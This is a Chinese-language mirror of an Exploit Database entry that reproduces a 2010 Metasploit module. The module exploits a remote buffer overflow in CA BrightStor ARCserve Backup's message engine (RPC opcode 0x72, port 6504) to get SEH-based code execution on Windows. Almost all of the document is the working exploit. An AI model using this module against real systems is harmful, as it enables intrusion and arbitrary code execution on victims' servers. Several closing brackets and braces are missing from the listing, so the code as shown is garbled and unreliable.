CA BrightStor ARCserve Message Engine 0x72 – Remote Buffer Overflow (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2010-10-05
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16412/

# $Id: message_engine_72.rb 10551 2010-10-05 12:38:46Z swtornio $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::DCERPC

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup

11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow

the buffer and execute arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10551 $',

'References' =>

[

[ 'OSVDB', '68329'],

[ 'URL', 'http://www.metasploit.com/users/mc' ],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 600,

'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ],

'DisclosureDate' => 'Oct 4 2010',

'DefaultTarget' => 0))

register_options([Opt::RPORT(6504)], self.class)

end

def exploit

connect

handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])

print_status("Binding to #{handle} ...")

dcerpc_bind(handle)

print_status("Bound to #{handle} ...")

sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)

print_status("Trying target #{target.name}...")

begin

dcerpc_call(0x72, sploit)

rescue Rex::Proto::DCERPC::Exceptions::NoResponse

end

handler

disconnect

end

=begin

/* opcode: 0x72, address: 0x28E893D0 */

short sub_28E893D0 (

[in] handle_targ_1,

[in][ref][string] char * arg_2,

[in, out][ref] long * arg_3

);

=end